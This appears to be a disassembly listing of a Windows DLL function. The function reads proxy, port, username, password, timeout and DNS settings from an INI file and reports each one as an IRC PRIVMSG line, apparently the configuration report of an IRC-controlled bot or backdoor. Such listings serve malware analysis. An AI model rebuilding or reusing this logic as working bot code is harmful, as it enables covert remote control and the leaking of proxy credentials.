lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, rbx
xor edx, edx
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x70]
lea rdx, str.IsShieldEnable
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov byte [rsp + 0xa0], bpl
mov dword [rsp + 0xa1], eax
mov word [rsp + 0xa5], ax
mov byte [rsp + 0xa7], al
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001f8c2
lea rcx, [rsp + 0xa0]
call fcn.1800529c0
lea rcx, [rsp + 0xa0]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0xa0]
call fcn.180053060
mov r9, rdi
mov rdx, r12
lea rcx, [rsp + 0x330]
cmp eax, ebp
jne 0x18001f8d0
lea r8, str.PRIVMSG__s_:23.Shield_Enable__Yes_r_n
jmp 0x18001f8d7
mov r9, rdi
mov rdx, r12
lea rcx, [rsp + 0x330]
lea r8, str.PRIVMSG__s_:23.Shield_Enable__No_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0xe1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xe0], bpl
call fcn.180052810
lea rcx, [rsp + 0xe0]
xor edx, edx
mov r8d, 0x104
call fcn.180052810
lea rcx, [rsp + 0x330]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea r9, [rsp + 0xe0]
lea rdx, str.EnableProxy
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:24.RemoteProxyEnable__No_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001f9d8
lea rcx, [rsp + 0xe0]
call fcn.1800529c0
lea rcx, [rsp + 0xe0]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0xe0]
call fcn.180053060
cmp eax, ebp
jne 0x18001f9d8
lea r8, str.PRIVMSG__s_:24.RemoteProxyEnable__Yes_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x104
lea rcx, [rsp + 0xe0]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
lea r9, [rsp + 0xe0]
lea rdx, str.RemoteProxy
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:25.RemoteProxy__NONE_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001faad
lea rcx, [rsp + 0xe0]
call fcn.1800529c0
lea rcx, [rsp + 0xe0]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0xe0]
lea r8, str.PRIVMSG__s_:25.RemoteProxy___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x104
lea rcx, [rsp + 0xe0]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
lea r9, [rsp + 0xe0]
lea rdx, str.RemotePort
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:26.RemotePort__NONE_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001fb82
lea rcx, [rsp + 0xe0]
call fcn.1800529c0
lea rcx, [rsp + 0xe0]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0xe0]
lea r8, str.PRIVMSG__s_:26.RemotePort___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x104
lea rcx, [rsp + 0xe0]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
lea r9, [rsp + 0xe0]
lea rdx, str.RemoteUserName
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:27.RemoteUserName__NONE_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001fc57
lea rcx, [rsp + 0xe0]
call fcn.1800529c0
lea rcx, [rsp + 0xe0]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0xe0]
lea r8, str.PRIVMSG__s_:27.RemoteUserName___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x104
lea rcx, [rsp + 0xe0]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
lea r9, [rsp + 0xe0]
lea rdx, str.RemotePassword
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:28.RemotePassword__NONE_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001fd2c
lea rcx, [rsp + 0xe0]
call fcn.1800529c0
lea rcx, [rsp + 0xe0]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0xe0]
lea r8, str.PRIVMSG__s_:28.RemotePassword___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0xc00
lea rcx, [rsp + 0x330]
mov r8, rbx
xor edx, edx
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0xa8]
lea rdx, str.ConnectionTimeOut
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov byte [rsp + 0xa8], bpl
mov qword [rsp + 0xa9], rax
mov dword [rsp + 0xb1], eax
mov word [rsp + 0xb5], ax
mov byte [rsp + 0xb7], al
mov dword [rsp + 0x20], SQLNumResultCols
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001fdfe
lea rcx, [rsp + 0xa8]
call fcn.1800529c0
lea rcx, [rsp + 0xa8]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0xa8]
lea r8, str.PRIVMSG__s_:29.Connection_Time_Out___s_Seconds_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001fe18
lea r8, str.PRIVMSG__s_:29.Connection_Time_Out__8_Seconds_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x1441]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x1440], bpl
call fcn.180052810
lea r9, [rsp + 0x1440]
lea rdx, str.DNSSERVER
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001feda
lea rcx, [rsp + 0x1440]
call fcn.1800529c0
lea rcx, [rsp + 0x1440]
mov rdx, rax
call fcn.18000b550
lea r10, [rsp + 0x1440]
lea r8, str.PRIVMSG__s_:30.DNS_Servers___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], r10
call fcn.1800528fc
jmp 0x18001fef4
lea r8, str.PRIVMSG__s_:30.DNS_Servers__None_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.1800527e0
mov rbx, qword [rsp + 0x20a0]
add rsp, 0x2050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret